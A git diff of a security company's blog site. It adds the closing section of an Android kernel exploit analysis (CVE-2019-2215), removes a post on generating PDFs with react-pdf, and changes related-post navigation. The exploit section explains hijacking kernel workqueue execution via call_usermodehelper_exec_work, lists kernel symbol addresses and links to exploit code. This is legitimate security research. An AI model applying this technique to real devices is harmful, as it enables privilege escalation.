class="n">pool</span><span class="o">-&gt;</span><span class="n">busy_hash</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">worker</span><span class="o">-&gt;</span><span class="n">hentry</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">work</span><span class="p">);</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_work</span> <span class="o">=</span> <span class="n">work</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span> <span class="o">=</span> <span class="n">work</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span> <span class="o">=</span> <span class="n">pwq</span><span class="p">;</span> + <span class="n">work_color</span> <span class="o">=</span> <span class="n">get_work_color</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + + <span class="n">list_del_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">entry</span><span class="p">);</span> + + <span class="c1">//[...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">need_more_worker</span><span class="p">(</span><span class="n">pool</span><span class="p">))</span> + <span class="n">wake_up_worker</span><span class="p">(</span><span class="n">pool</span><span class="p">);</span> + + <span class="c1">//[...]</span> + + <span class="n">set_work_pool_and_clear_pending</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="n">pool</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">);</span> + + <span class="n">spin_unlock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span> + + <span class="n">lock_map_acquire_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">lockdep_map</span><span class="p">);</span> + <span class="n">lock_map_acquire</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lockdep_map</span><span class="p">);</span> + <span class="n">trace_workqueue_execute_start</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + + <span class="c1">//[...]</span> + + <span class="n">hash_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">worker</span><span class="o">-&gt;</span><span class="n">hentry</span><span class="p">);</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_work</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">worker</span><span class="o">-&gt;</span><span class="n">desc_valid</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span> + <span class="n">pwq_dec_nr_in_flight</span><span class="p">(</span><span class="n">pwq</span><span class="p">,</span> <span class="n">work_color</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>line 6~7 : 앞선 쳅터에서 설정한 <code class="language-plaintext highlighter-rouge">pool_workqueue</code>와 <code class="language-plaintext highlighter-rouge">worker_pool</code>을 가져온다.</li> + <li>line 16~20 : 수행하고자 하는 <code class="language-plaintext highlighter-rouge">work</code>를 찾아서 <code class="language-plaintext highlighter-rouge">worker</code>를 세팅한다</li> + <li>line 37~38 : <code class="language-plaintext highlighter-rouge">worker-&gt;current_func</code>를 수행한다. + <ul> + <li>이때 <code class="language-plaintext highlighter-rouge">worker-&gt;current_func</code>는 <code class="language-plaintext highlighter-rouge">work-&gt;func</code>이다.</li> + </ul> + </li> + <li>line 42~46 : worker를 정리한다.</li> +</ul> + +<p><br /></p> + +<h3 id="554-insert-call_usermodehelper_exec_work-into-workqueue">5.5.4 Insert call_usermodehelper_exec_work into workqueue</h3> + +<p>즉 위와 같은 과정으로 work-&gt;func(work)를 수행하기 때문에, 우리가 work-&gt;func 주소에 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 를 넣을 수 있다면, 혹은 fake work node를 만들어서 앞서 아래 workqueue에 연결된 worker_pool에 work node를 삽입할 수 있다면 우리가 삽입한 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 실행할 수 있을 것이다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// workqueue by system permissions +ffffffc012c8f7e0 D system_wq +ffffffc012c8f7e8 D system_highpri_wq +ffffffc012c8f7f0 D system_long_wq +ffffffc012c8f7f8 D system_unbound_wq +ffffffc012c8f800 D system_freezable_wq +ffffffc012c8f808 D system_power_efficient_wq +ffffffc012c8f810 D system_freezable_power_efficient_wq +</code></pre></div></div> + +<p>이와 관련된 exploit code는 아래 링크에서 확인할 수 있다</p> + +<ul> + <li><a href="https://github.com/github/securitylab/blob/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c#L250">https://github.com/github/securitylab/blob/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c#L250</a></li> +</ul> + +<p><br /> +<br /></p> + +<h1 id="6-reference">6. Reference</h1> + +<ul> + <li><a href="https://cloudfuzz.github.io/android-kernel-exploitation/chapters/vulnerability-discovery.html">https://cloudfuzz.github.io/android-kernel-exploitation/chapters/vulnerability-discovery.html</a></li> + <li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1942">https://bugs.chromium.org/p/project-zero/issues/detail?id=1942</a></li> + <li><a href="https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html">https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html</a></li> + <li><a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047</a></li> + <li><a href="https://chp747.tistory.com/311">https://chp747.tistory.com/311</a></li> + <li><a href="https://www.youtube.com/watch?v=yrLXvmzUQME">https://www.youtube.com/watch?v=yrLXvmzUQME</a></li> + <li><a href="https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E%21/#F0">https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E%21/#F0</a></li> + <li><a href="https://github.com/chompie1337/s8_2019_2215_poc/blob/34f6481ed4ed4cff661b50ac465fc73655b82f64/poc/selinux_bypass.c">https://github.com/chompie1337/s8_2019_2215_poc/blob/34f6481ed4ed4cff661b50ac465fc73655b82f64/poc/selinux_bypass.c</a></li> + <li><a href="https://github.com/vngkv123/articles/blob/main/Galaxy's%20Meltdown%20-%20Exploiting%20SVE-2020-18610.md">https://github.com/vngkv123/articles/blob/main/Galaxy’s%20Meltdown%20-%20Exploiting%20SVE-2020-18610.md</a></li> + <li><a href="https://chp747.tistory.com/311">https://chp747.tistory.com/311</a></li> + <li><a href="https://github.com/chompie1337/s8_2019_2215_poc/tree/master">https://github.com/chompie1337/s8_2019_2215_poc/tree/master</a></li> + <li><a href="https://github.com/bata24/gef?tab=readme-ov-file#install-ubuntu-2204-or-before">https://github.com/bata24/gef?tab=readme-ov-file#install-ubuntu-2204-or-before</a></li> + <li><a href="https://changjoon-baek.medium.com/android-device-in-container-b9823cd5a6a7">https://changjoon-baek.medium.com/android-device-in-container-b9823cd5a6a7</a></li> + <li><a href="https://github.blog/2023-07-05-introduction-to-selinux/">https://github.blog/2023-07-05-introduction-to-selinux/</a></li> + <li><a href="https://blog.senyuuri.info/posts/2021-02-06-linux-capability-a-kernel-workthrough/">https://blog.senyuuri.info/posts/2021-02-06-linux-capability-a-kernel-workthrough/</a></li> + <li><a href="https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-pie">https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-pie</a></li> + <li><a href="https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/">https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/</a></li> + <li><a href="https://github.blog/2023-07-05-introduction-to-selinux/">https://github.blog/2023-07-05-introduction-to-selinux/</a></li> + <li><a href="https://kernel.bz/boardPost/118683/2">https://kernel.bz/boardPost/118683/2</a></li> +</ul>Minjoong Kim1. Introduction뉴비들의 하드웨어 해킹 입문기2024-02-05T17:00:00-08:002024-02-05T17:00:00-08:00http://ufo.stealien.com/2024-02-05/IoT-TechBlog-ko<h1 id="뉴비들의-하드웨어-해킹-입문기">뉴비들의 하드웨어 해킹 입문기</h1> <blockquote> <p>이 포스트는 스틸리언 선제대응팀의 ‘이주협’ 선임 연구원님과 ‘이주영’ 연구원님이 정성스럽게 작성 해 주셨습니다.</p> @@ -2688,166 +5047,4 @@ Blockchain에 대한 Security Audit 산업이 MEV에 대한 research로도 발 <p><a href="https://drive.google.com/file/d/1Mk46m5tFapZZ0y4upKxD3R6YsXb4EVZ1/view?usp=sharing">Paper: 권한 상승 취약점 점검 가이드 및 탐지 방법 제안</a>, <a href="https://drive.google.com/file/d/1LscZyKqve60LQsPU98-RgONbP43Mivy1/view?usp=sharing">Doc: 권한 상승 취약점 점검 가이드</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> </ol> -</div>김도현Stealien Security Seminar 1회 리뷰React로 pdf 다루기2022-06-29T08:00:00-07:002022-06-29T08:00:00-07:00http://ufo.stealien.com/2022-06-30/PDF-with-React-ko<h1 id="react로-pdf-다루기">React로 pdf 다루기</h1> - -<p>올해 초, <strong>월간 레포트 리뉴얼</strong> 이라는 업무를 새롭게 배정받게 되었습니다. -디자인은 회사 대표 디자이너이신 재성님이 아주 아름답게 만들어주셨지만, 코드로 PDF를 만들거나 다뤄본 적이 없는 저는 막연한 두려움을 갖게 되었습니다.</p> - -<h2 id="왜-리뉴얼을-진행했나">왜 리뉴얼을 진행했나?</h2> - -<p>기존에 사용하던 코드로도 월말마다 회사 Jira에 저장되는 이슈들을 정리하여 메일로 보내기에는 충분했습니다. -하지만 프로젝트 코드가 관리가 잘 되지 않아서 새로운 디자인을 적용하고, 새로운 데이터를 뽑아내기 위해 이 코드를 처음부터 리딩하기는 조금 힘든 상황이였습니다. -특히, 주로 사용하는 언어도 다르기도 했구요.</p> - -<table> - <thead> - <tr> - <th><img src="/assets/2022-06-30-PDF-with-React/code-manage-not-good.png" alt="codemanage" style="max-width:800px; height:auto;" /></th> - </tr> - </thead> - <tbody> - <tr> - <td>코드 관리 절망편</td> - </tr> - </tbody> -</table> - -<p>따라서 저는 제가 주로 사용하는 Typescript와 React 기반으로 월간 레포트 시스템을 새로 만들기로 했습니다. 기존처럼 스크립트 형태로도 작성할 수 있지만, 예전에 보낸 레포트 조회나 이미지 변경 등을 개발자인 저 뿐만 아니라, 다른 분들도 플랫폼을 통해 확인할 수 있으면 더 좋을 것 같아서 웹 시스템으로 개발하기 위한 계획을 세웠습니다.</p> - -<h2 id="react-pdf">React-PDF</h2> - -<p>월간 레포트에서 사용하는 데이터는 저희 Jira와 Confluence에서 가져오게 됩니다. -사실 Jira나 Confluence에서 데이터를 불러오거나 페이지를 생성하는 <a href="https://github.com/mrrefactoring/jira.js/">API</a>는 너무나도 잘 되어있어서 큰 무리 없이 사용할 수 있었습니다.</p> - -<p>하지만, 가장 큰 문제는 역시 가져온 데이터를 기반으로 새로운 PDF 를 생성하는 과정이였습니다.</p> - -<p><img src="/assets/2022-06-30-PDF-with-React/react-pdf.png" alt="react-pdf" /></p> - -<p><a href="https://react-pdf.org/">react-pdf</a>는 React를 기반으로 PDF를 렌더링하거나 생성할 수 있는 라이브러리 입니다. -라이브러리에서 제공하는 <code class="language-plaintext highlighter-rouge">Document</code> 컴포넌트를 기반으로 PDF 파일을 렌더링하며, <code class="language-plaintext highlighter-rouge">StyleSheet</code>를 통해서 기존 jsx 처럼 글자나 뷰 자체에 스타일링을 할 수 있도록하는 다양하고 필수적인 기능을 포함하고 있습니다.</p> - -<p>또한 <code class="language-plaintext highlighter-rouge">svg</code>도 지원하기 때문에, 이미지나 차트 등도 쉽게 표현할 수 있습니다.</p> - -<p>그래서 저는 <code class="language-plaintext highlighter-rouge">react-pdf</code>를 기반으로 디자인된 PDF를 만들기 시작했습니다.</p> - -<h2 id="위기">위기</h2> - -<p>사실 <code class="language-plaintext highlighter-rouge">react-pdf</code>라는 라이브러리를 발견했을 때, 작업이 금방 끝날 줄 알았습니다. -하지만, 사용하다보니 생각하지 못한 몇 가지 문제점들을 마주하게 되었습니다.</p> - -<ol> - <li>Vite 환경에서 react-pdf가 잘 작동하지 않았습니다. - <ul> - <li><a href="https://github.com/vitejs/vite/issues/3405">issue</a></li> - <li>Vite에서 사용하기 위해서는 추가적으로 브라우저용 라이브러리를 추가해주어야 합니다.</li> - <li>이 <a href="https://github.com/exogee-technology/vite-plugin-shim-react-pdf">라이브러리</a> 로 해결했습니다.</li> - </ul> - </li> - <li>프론트엔드에서 pdf를 생성하다보니, 브라우저 콘솔에서 많은 에러가 발생했습니다. - <ul> - <li>클라이언트쪽에서 렌더링을 하는 과정에서 이슈가 있는 것 같았습니다.</li> - <li>다행히, 작동에는 이상이 없어서 우선 넘어가게 되었습니다.</li> - </ul> - </li> - <li>차트를 그리기가 조금 까다로웠습니다. - <ul> - <li>svg를 지원한다고 해서 <a href="https://nivo.rocks/">nivo</a>를 사용하려고 했는데, 구조상 <code class="language-plaintext highlighter-rouge">차트컴포넌트 -&gt; svg -&gt; react-pdf</code> 의 형식으로 쓰면 오류가 발생하는 바람에 결국 스스로 만들어서 썼습니다.</li> - </ul> - </li> -</ol> - -<p>특히, 마지막 3번이 저를 굉장히 괴롭히게 되었습니다.</p> - -<p>월간 레포트의 특성 상, 차트나 표가 대부분의 데이터를 이루고 있었습니다. -특히, 차트는 원형, 막대형 그래프 등 다양한 그래프를 사용할 예정이였기 때문에 작업에 지장이 있을 수 밖에 없었습니다.</p> - -<p>다행히, <code class="language-plaintext highlighter-rouge">react-pdf</code> 에서는 svg를 다루기 위한 여러 컴포넌트가 존재하고 있었습니다. -그 중에서 사용한 것은 <code class="language-plaintext highlighter-rouge">Path</code> 이였습니다.</p> - -<p>PieGraph를 만들 때, 전체 데이터 중에서 차지하는 부분의 각도와 반지름을 통해 각각의 좌표를 구했습니다.</p> - -<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">cX</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">cY</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">r</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">degrees</span><span class="p">:</span> <span class="nx">number</span><span class="p">)</span> <span class="p">{</span> - <span class="kd">const</span> <span class="nx">rad</span> <span class="o">=</span> <span class="p">(</span><span class="nx">degrees</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">)</span> <span class="o">/</span> <span class="mf">180.0</span><span class="p">;</span> - <span class="k">return</span> <span class="p">{</span> - <span class="na">x</span><span class="p">:</span> <span class="nx">cX</span> <span class="o">+</span> <span class="nx">r</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">rad</span><span class="p">),</span> - <span class="na">y</span><span class="p">:</span> <span class="nx">cY</span> <span class="o">+</span> <span class="nx">r</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">rad</span><span class="p">),</span> - <span class="p">};</span> -<span class="p">}</span> - -<span class="kd">function</span> <span class="nx">toPieChartItemPath</span><span class="p">(</span> - <span class="nx">x</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">y</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">radiusIn</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">radiusOut</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">startAngle</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">endAngle</span><span class="p">:</span> <span class="nx">number</span> -<span class="p">)</span> <span class="p">{</span> - <span class="nx">startAngle</span> <span class="o">+=</span> <span class="mi">270</span><span class="p">;</span> - <span class="nx">endAngle</span> <span class="o">+=</span> <span class="mi">270</span><span class="p">;</span> - <span class="kd">const</span> <span class="nx">startIn</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusIn</span><span class="p">,</span> <span class="nx">endAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">endIn</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusIn</span><span class="p">,</span> <span class="nx">startAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">startOut</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusOut</span><span class="p">,</span> <span class="nx">endAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">endOut</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusOut</span><span class="p">,</span> <span class="nx">startAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">arcSweep</span> <span class="o">=</span> <span class="nx">endAngle</span> <span class="o">-</span> <span class="nx">startAngle</span> <span class="o">&lt;=</span> <span class="mi">180</span> <span class="p">?</span> <span class="dl">"</span><span class="s2">0</span><span class="dl">"</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">;</span> - <span class="kd">const</span> <span class="nx">d</span> <span class="o">=</span> <span class="p">[</span> - <span class="dl">"</span><span class="s2">M</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">L</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">startOut</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">startOut</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">radiusOut</span><span class="p">,</span> - <span class="nx">radiusOut</span><span class="p">,</span> - <span class="mi">0</span><span class="p">,</span> - <span class="nx">arcSweep</span><span class="p">,</span> - <span class="mi">0</span><span class="p">,</span> - <span class="nx">endOut</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">endOut</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">L</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">endIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">endIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">radiusIn</span><span class="p">,</span> - <span class="nx">radiusIn</span><span class="p">,</span> - <span class="mi">0</span><span class="p">,</span> - <span class="nx">arcSweep</span><span class="p">,</span> - <span class="mi">1</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">z</span><span class="dl">"</span><span class="p">,</span> - <span class="p">].</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">);</span> - <span class="k">return</span> <span class="nx">d</span><span class="p">;</span> -<span class="p">}</span> -</code></pre></div></div> - -<p>이를 Svg 안의 Path 객체로 선을 그리고, 그 안을 색으로 채워 그래프를 그릴 수 있게 했습니다. 코드는 다음과 같습니다.</p> - -<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">PieGraph</span><span class="p">:</span><span class="nx">React</span><span class="p">.</span><span class="nx">FC</span><span class="o">&lt;</span><span class="p">{</span><span class="na">datas</span><span class="p">:</span> <span class="nx">Data</span><span class="p">[]}</span><span class="o">&gt;</span> <span class="o">=</span> <span class="p">({</span><span class="nx">datas</span><span class="p">})</span> <span class="o">=&gt;</span> <span class="p">{</span> - <span class="k">return</span> <span class="o">&lt;</span><span class="nx">Svg</span> <span class="nx">width</span><span class="o">=</span><span class="dl">"</span><span class="s2">256</span><span class="dl">"</span> <span class="nx">height</span><span class="o">=</span><span class="dl">"</span><span class="s2">172</span><span class="dl">"</span><span class="o">&gt;</span> - <span class="p">{</span><span class="nx">data</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span> <span class="nx">idx</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">(</span> - <span class="o">&lt;</span><span class="nx">Path</span> - <span class="nx">key</span><span class="o">=</span><span class="p">{</span><span class="nx">item</span><span class="p">.</span><span class="nx">id</span><span class="p">}</span> - <span class="nx">d</span><span class="o">=</span><span class="p">{</span><span class="nx">toPieChartItemPath</span><span class="p">(</span><span class="mi">128</span><span class="p">,</span> <span class="mi">86</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="nx">range</span><span class="p">[</span><span class="nx">idx</span><span class="p">],</span> <span class="nx">range</span><span class="p">[</span><span class="nx">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])}</span> - <span class="nx">fill</span><span class="o">=</span><span class="p">{</span><span class="nx">colors</span><span class="p">[</span><span class="nx">item</span><span class="p">.</span><span class="nx">id</span><span class="p">]}</span> - <span class="sr">/</span><span class="err">&gt; -</span> <span class="p">))}</span> - <span class="o">&lt;</span><span class="sr">/Svg</span><span class="err">&gt; -</span><span class="p">}</span> -</code></pre></div></div> - -<p><strong>예시</strong></p> - -<p><img src="/assets/2022-06-30-PDF-with-React/chart.png" alt="chart" /></p> - -<p><code class="language-plaintext highlighter-rouge">PolyLine</code> 컴포넌트를 통해 외부에 퍼센트를 나타낼 수 있게도 구현하였습니다.</p> - -<p>이런 방식으로 PieGraph와 LineGraph도 그릴 수 있었습니다.</p> - -<p>아마도 <code class="language-plaintext highlighter-rouge">react-pdf</code>에서 일반적인 태그를 사용하지 않아서 nivo와 같은 차트 라이브러리들이 작동하지 않았을 것 같습니다.</p> - -<h2 id="결론">결론</h2> - -<p>이제는 제가 만든 새로운 코드를 기반으로 많은 고객사에 앱슈트 월간 레포트가 전달되고 있습니다.</p> - -<p>처음에 기획했던 기능들을 전부 넣지는 못했지만, 계속 업데이트를 해서 사내에서 가장 유용하게 사용하는 프로젝트가 되기를 바랍니다.</p>하준혁React로 pdf 다루기 \ No newline at end of file +</div>김도현Stealien Security Seminar 1회 리뷰 \ No newline at end of file diff --git a/docs/id/2020-04-12/Introduce.html b/docs/id/2020-04-12/Introduce.html index 4b47a96..bd1814e 100644 --- a/docs/id/2020-04-12/Introduce.html +++ b/docs/id/2020-04-12/Introduce.html @@ -109,22 +109,22 @@

시작합니다

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -133,22 +133,22 @@

시작합니다

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-04-13/CVE-2020-0674.html b/docs/id/2020-04-13/CVE-2020-0674.html index f11b4bf..85cf0a2 100644 --- a/docs/id/2020-04-13/CVE-2020-0674.html +++ b/docs/id/2020-04-13/CVE-2020-0674.html @@ -513,22 +513,22 @@

Code Execution

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -537,22 +537,22 @@

Code Execution

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-06-18/Deeplink.html b/docs/id/2020-06-18/Deeplink.html index 7a29aae..220703d 100644 --- a/docs/id/2020-06-18/Deeplink.html +++ b/docs/id/2020-06-18/Deeplink.html @@ -250,22 +250,22 @@

5. 기타

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -274,22 +274,22 @@

5. 기타

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-07-17/iOS.html b/docs/id/2020-07-17/iOS.html index fe91ea5..9ed28fa 100644 --- a/docs/id/2020-07-17/iOS.html +++ b/docs/id/2020-07-17/iOS.html @@ -187,22 +187,22 @@

4. 대응 방안

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -211,22 +211,22 @@

4. 대응 방안

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-08-20/cgi_exploit.html b/docs/id/2020-08-20/cgi_exploit.html index bbdd9bd..dd7a438 100644 --- a/docs/id/2020-08-20/cgi_exploit.html +++ b/docs/id/2020-08-20/cgi_exploit.html @@ -1117,22 +1117,22 @@

끝내면서

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -1141,22 +1141,22 @@

끝내면서

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-09-24/bug_hunting.html b/docs/id/2020-09-24/bug_hunting.html index 59570d2..1457666 100644 --- a/docs/id/2020-09-24/bug_hunting.html +++ b/docs/id/2020-09-24/bug_hunting.html @@ -279,22 +279,22 @@

복기

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -303,22 +303,22 @@

복기

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-10-29/can_bus_1.html b/docs/id/2020-10-29/can_bus_1.html index c773edd..9599898 100644 --- a/docs/id/2020-10-29/can_bus_1.html +++ b/docs/id/2020-10-29/can_bus_1.html @@ -515,22 +515,22 @@

Epilogue

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -539,22 +539,22 @@

Epilogue

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-11-16/japanese_app_security.html b/docs/id/2020-11-16/japanese_app_security.html index 0362834..4cfb274 100644 --- a/docs/id/2020-11-16/japanese_app_security.html +++ b/docs/id/2020-11-16/japanese_app_security.html @@ -180,22 +180,22 @@
-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -204,22 +204,22 @@
-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-11-25/audio_lib_exploit.html b/docs/id/2020-11-25/audio_lib_exploit.html index 2dcfbcb..2c388e5 100644 --- a/docs/id/2020-11-25/audio_lib_exploit.html +++ b/docs/id/2020-11-25/audio_lib_exploit.html @@ -248,22 +248,22 @@

대응방안

-
이주협, 이주영
+
Minjoong Kim
- +
